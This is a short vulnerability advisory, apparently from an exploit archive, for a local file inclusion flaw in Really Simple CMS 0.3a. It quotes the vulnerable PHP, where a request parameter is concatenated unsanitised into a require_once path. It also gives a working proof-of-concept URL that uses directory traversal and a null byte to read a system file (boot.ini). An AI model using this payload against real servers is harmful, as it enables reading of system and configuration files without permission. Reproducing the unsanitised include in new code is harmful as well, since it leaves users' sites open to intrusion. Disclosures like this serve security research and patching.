########################################################################################### [+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ############################################################################################ [+] Download : http://sourceforge.net/projects/rscms/ [+] Local File Inclusion - Vulnerable code in plugings/pagecontent.php ----------------------------------- if (!$PT) { $PT = 'text'; } $PTF = "plugings/"; $PTF .= $PT; $PTF .= ".php"; require_once($PTF); ----------------------------------- - PoC http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00 ############################################################################################